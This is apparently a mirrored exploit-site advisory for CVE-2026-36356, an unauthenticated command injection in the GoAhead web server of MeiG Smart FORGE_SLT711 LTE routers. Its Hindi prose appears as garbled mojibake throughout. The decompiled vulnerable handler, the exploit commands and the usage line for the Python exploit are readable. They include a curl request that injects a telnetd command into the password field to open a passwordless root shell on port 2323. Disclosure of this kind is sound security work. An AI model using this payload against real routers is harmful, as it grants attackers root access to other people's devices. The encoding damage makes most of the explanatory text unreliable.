## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TOTEKUH-CVE-2026-36356
# CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ OS рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди (`/action/SetRemoteAccessCfg`)
* **CVE** : CVE-2026-36356
* **CWE** : CWE-78, CWE-306
* **рдЦреЛрдЬрдХрд░реНрддрд╛** : Daniil Gordeev
* **рдкреНрд░рдХрдЯреАрдХрд░рдг рддрд┐рдерд┐** : 2026-05-03
## рд╕рд╛рд░рд╛рдВрд╢
MeiG Smart FORGE_SLT711 4G LTE CPE рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрдВрдбрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ GoAhead рд╡реЗрдм рд╕рд░реНрд╡рд░ рдПрдХ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ HTTP рдПрдВрдбрдкреЙрдЗрдВрдЯ, `/action/SetRemoteAccessCfg`, рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдмрд┐рдирд╛ рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд JSON рдЗрдирдкреБрдЯ рдХреЛ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдореЗрдВ рдЗрдВрдЯрд░рдкреЛрд▓реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдПрдХ рдПрдХрд▓ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓рд╛ POST рдЕрдиреБрд░реЛрдз **root** рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред
рджреЛ рд╕реНрд╡рддрдВрддреНрд░ рдореВрд▓ рдХрд╛рд░рдг рд╣реИрдВ: рдПрдХ рд▓рд╛рдкрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░реВрдЯ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐, рдФрд░ рд╣реИрдВрдбрд▓рд░ рдореЗрдВ рдПрдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд `sprintf()` тЖТ `system()` рдирд┐рд░реНрдорд╛рдгред
## рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрддреНрдкрд╛рдж
* **рд╡рд┐рдХреНрд░реЗрддрд╛** : MeiG Smart Technology Co., Ltd. (рд╢реЗрдиреНрдЭреЗрди, рдЪреАрди)
* **рдЙрддреНрдкрд╛рдж** : FORGE_SLT711 4G LTE CPE рд░рд╛рдЙрдЯрд░
* **рдкреБрд╖реНрдЯрд┐ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлрд╝рд░реНрдорд╡реЗрдпрд░** : `MDM9607.LE.1.0-00110-STD.PROD-1` (рдореЙрдбреЗрдо рдлрд╝рд░реНрдорд╡реЗрдпрд░ `BC-MGST711H_1.1.1_EQ101`)
* **рд╡реЗрдм рд╕рд░реНрд╡рд░** : MeiG-рдХрд╕реНрдЯрдо рдПрдХреНрд╢рди рд╣реИрдВрдбрд▓рд░ рд╡рд╛рд▓рд╛ GoAhead 3.x (Embedthis) (`/usr/bin/goahead`)
рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдб MeiG рдХреЗ рдХрд╕реНрдЯрдо рдПрдХреНрд╢рди рд╣реИрдВрдбрд▓рд░ рдореЗрдВ рд╣реИ, рдЕрдкрд╕реНрдЯреНрд░реАрдо GoAhead рдореЗрдВ рдирд╣реАрдВред рдЗрд╕ рдЙрддреНрдкрд╛рдж рд▓рд╛рдЗрди рдХреЗ рдЕрдиреНрдп рдлрд╝рд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рднреА рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ; рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
## рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг
|
---|---
рдбрд┐рд╡рд╛рдЗрд╕| Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711)
SoC| Qualcomm MDM9607, ARMv7 Cortex-A7
рдХрд░реНрдиреЗрд▓| Linux 3.18.48
рдлрд╝рд░реНрдорд╡реЗрдпрд░| MDM9607.LE.1.0-00110-STD.PROD-1
рддрд┐рдерд┐
## рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг
### рд▓рд╛рдкрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг (CWE-306)
GoAhead рд░реВрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди `/var/www/route.txt` рдореЗрдВ `auth=basic` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд░реВрдЯ (рдкрдВрдХреНрддрд┐рдпрд╛рдБ 64тАУ150) рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВред `/action/SetRemoteAccessCfg` рдЗрд╕ рд╕реВрдЪреА рдореЗрдВ **рдирд╣реАрдВ** рд╣реИред рд░реВрдЯрд┐рдВрдЧ рдкрдВрдХреНрддрд┐ 156 рдкрд░ рдХреИрдЪ-рдСрд▓ рддрдХ рдкрд╣реБрдБрдЪрддреА рд╣реИ:
root@kitploit:~
route uri=/action handler=action
рдХреИрдЪ-рдСрд▓ рдХреЗ рдкрд╛рд╕ `auth=basic` рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рднреА HTTP рдХреНрд▓рд╛рдЗрдВрдЯ рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ `/action/SetRemoteAccessCfg` рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
### рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди (CWE-78)
`/usr/bin/goahead` рдореЗрдВ рдСрдлрд╝рд╕реЗрдЯ `0x0003c6d8` рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВрдбрд▓рд░ рдбреАрдХрдВрдкрд╛рдЗрд▓ рд╣реЛрдХрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрддрд╛ рд╣реИ:
root@kitploit:~
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
`password` рдлрд╝реАрд▓реНрдб рджреЛрд╣рд░реЗ рдЙрджреНрдзрд░рдгреЛрдВ рдХреЗ рдЕрдВрджрд░ рдЗрдВрдЯрд░рдкреЛрд▓реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред `$(...)` рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдФрд░ ``...`` рдмреИрдХрдЯрд┐рдХреНрд╕ рджреЛрд╣рд░реЗ рдЙрджреНрдзрд░рдгреЛрдВ рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред `system()` `uid=0` рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ GoAhead рдкреНрд░рдХреНрд░рд┐рдпрд╛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддреА рд╣реИред рдХреЛрдИ рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ, рдХреЛрдИ рдПрд╕реНрдХреЗрдкрд┐рдВрдЧ рдирд╣реАрдВ, рдХреЛрдИ рдХреИрд░реЗрдХреНрдЯрд░ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдирд╣реАрдВред
## рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдкреНрд░рдорд╛рдг
### рд╕реНрдерд╛рдпреА рдЯреЗрд▓рдиреЗрдЯ рдмреИрдХрдбреЛрд░
root@kitploit:~
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

### рд╕рдВрджрд░реНрдн Python рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ
`poc_rce.py` (рдЗрд╕ рдкрд░рд╛рдорд░реНрд╢ рдХреЗ рд╕рд╛рде рдкреНрд░рдХрд╛рд╢рд┐рдд):
root@kitploit:~
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
рд╢реЛрд╖рдг рдмреНрд▓рд╛рдЗрдВрдб рд╣реИ тАФ рдХрдорд╛рдВрдб рдЖрдЙрдЯрдкреБрдЯ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд╣реАрдВ рд╣реЛрддрд╛ред
### рдкреЗрд▓реЛрдб рд╕реАрдорд╛рдПрдБ
* `password` рдмрдлрд╝рд░: 64 рдмрд╛рдЗрдЯреНрд╕
* рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рдмрдлрд╝рд░: 256 рдмрд╛рдЗрдЯреНрд╕